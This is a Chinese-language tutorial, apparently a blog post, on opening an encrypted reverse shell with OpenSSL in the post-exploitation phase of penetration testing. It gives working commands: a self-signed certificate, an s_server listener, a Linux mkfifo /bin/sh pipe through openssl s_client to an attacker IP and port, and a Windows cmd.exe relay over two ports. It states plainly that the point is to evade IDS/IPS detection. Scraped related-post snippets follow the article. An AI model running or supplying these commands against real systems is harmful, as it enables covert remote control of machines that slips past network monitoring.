前言

在进行红队渗透测试的后渗透阶段为了进一步横行渗透往往需要反弹 shell,这里列出了使用各种语言进行反弹 shell 的方法,我发现这种反弹 shell 方式都有一个缺点,那就是所有的流量都是明文传输的。

我们使用 nc 反弹 shell 进行测试

使用 wireshark 可以直接看到我们执行的命令和返回信息

在这种情况下当我们进行操作时,网络防御检测系统(IDS、IPS等)会获取到我们的通信内容并进行告警和阻止,因此需要对通信内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密 shell。

OpenSSL 简介

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份

利用 OpenSSL 反弹 shell 之前需要生成自签名证书

使用 OpenSSL 生成证书自签名证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车

使用 OpenSSL 反弹加密 shell

Linux

假设我们从 A 主机反弹 shell 到 B 主机

------------------                  ----------------------
| A:172.16.1.175 |  --- shell ---> | B:172.16.1.174:1337 |
------------------                  ----------------------

首先需用利用上一步生成的自签名证书,在 B 主机上使用 OpenSSL 监听一个端口,在这里使用 1337 端口

命令为:

openssl s_server -quiet -key key.pem -cert cert.pem -port 1337

此时 OpenSSL 在 1337 端口上启动了一个 SSL/TLS server

这时在 B 主机进行反弹 shell 操作,命令为:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s

这样就使用 OpenSSL 反弹了一个加密的 shell

效果如下:

使用 wireshark 抓包可以看到,A 和 B 主机之间在使用 TLS1.2 协议进行加密通信

Windows

在 Windows 系统上反弹加密 shell 的方式有点不一样

具体命令如下:

openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

以上命令会从 [ip]:[port1] 获取命令发送给 cmd.exe执行,然后把结果返回到 [ip]:[port2]

因此在本机需要启动两个 s_server

从 port1 发送命令到 cmd

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]

从 port2 获取发送给 port1 的命令执行结果

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]

OpenSSL 还有很多功能,这里详细的列出了 OpenSSL 的常见使用方法

在渗透测试时,还可以使用 OpenSSL 搭建简易 HTTPS Server

使用 OpenSSL 搭建简易 HTTPS Server

使用以下命令前需要使用 OpenSSL 生成证书自签名证书,命令在上文中已给出

openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW

以上命令在 44330 端口启动了一个 HTTPS Server

linux openssl 反弹加密 shell相关推荐

  1. 使用 openssl反弹加密 shell

    目录 前言 OpenSSL 简介 使用 OpenSSL 生成证书自签名证书 使用 OpenSSL 反弹加密 shell Linux Windows 使用 OpenSSL 搭建简易 HTTPS Serv ...

  2. 如何使用 SHC 加密 Shell 脚本

    如何在Linux环境中加密shell脚本?shell脚本包含密码,不希望其他具有执行权限的人查看shell脚本并获取密码.可以安装使用shc工具,普通用户无法读取shc创建的加密Shell脚本.SHC ...

  3. linux nc反弹命令,详解NC反弹shell的几种方法

    假如ubuntu.centos为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.centos的shell反弹到kali上 正向 ...

  4. Linux下反弹shell

    目录 bash反弹 curl反弹 nc反弹 在渗透过程中,目标处于内网环境,或因为端口限制而我们无法直连目标机器,此时需要通过反弹shell来让目标机器主动连接我们获取一个交互式shell,以便继续深 ...

  5. linux下的加密解密学习

    linux下的加密解密学习 加密/解密:         加密协议:加密解密使用同一秘钥:3des,aes         公钥加密:公钥私钥对         数字签名,密钥交换          ...

  6. Linux下文件加密方法总结

    Linux下文件加密方法总结 为了安全考虑,通常会对一些重要文件进行加密备份或加密保存,下面对linux下的文件加密方法做一简单总结: 方法一:gzexe加密 这种加密方式不是非常保险的方法,但是能够 ...

  7. Linux基础篇学习—shell及shell脚本

    概述 shell概念 shell又称命令解释器,它能识别用户输入的各种命令,并传递给操作系统 它的作用类似于Windows操作系统中的命令行,但是,Shell的功能远比命令行强大的多:在UNIX或者l ...

  8. shell实例第18讲:利用gzexe加密shell脚本

    利用gzexe加密shell脚本 gzexe_test.sh内容如下: #!/bin/bashecho "gzexe test!" 结果: 使用gzexe加密shell脚本命令:g ...

  9. c语言加密shell脚本,shell脚本加密

    如何保护自己编写的shell程序 要保护自己编写的shell脚本程序,方法有很多,最简单的方法有两种:1.加密 2.设定过期时间,下面以shc工具为例说明: 一.下载安装shc工具 shc是一个加密s ...

最新文章

  1. 【Python之旅】第五篇(三):Python Socket多线程并发
  2. Linux网络设置2——虚拟机中的Linux和Windows网络互通设置
  3. 收官礼 |《神策 2018 数据驱动大会回顾专刊》发布,你要的干货,已打包!
  4. 机器学习数据集划分-训练集,验证集,测试集
  5. leetcode 1. 两数之和 思考分析
  6. 《实现领域驱动设计》读书笔记
  7. 计算机在输电线路设计中的应用研究,计算机在输电线路基础设计中的应用原稿(备份存档)...
  8. 系统10网络找不到别人的计算机,分享Win10在局域网中找不到其他电脑的解决步骤...
  9. java placeholder_Java占位符
  10. android 取色器
  11. 微信公众号如何开通支付功能?
  12. Debian 10截图小工具 flameshot
  13. 主流手机分辨率与尺寸
  14. python属于计算机几级,Python语言被列入全国计算机等级考试科目
  15. 阿里云 MaxCompute Tunnel Upload 上传典型问题整理
  16. 基于SpringCloud的enum枚举值国际化处理实践
  17. Leetcode#183. Customers Who Never Order
  18. c31 rotc_百度百科
  19. NLP学习笔记「第二章」2.2 N-gram Language Models(N元语言模型)
  20. 如何用爬虫工具实现竞对价格监控

热门文章

  1. AWS — AWS Local Zone
  2. KVM — 安装部署
  3. OpenvSwitch — Overview
  4. Python基本语法_异常处理详解
  5. 设置stm32系统各部分时钟
  6. ESC/P打印:程序控制打印机自动进退纸
  7. 傻瓜式操作Nagios图解
  8. Java虚拟机中的栈和堆
  9. OSSIM系统用户审计
  10. 周日21点50:关注电子阅读的大潮到来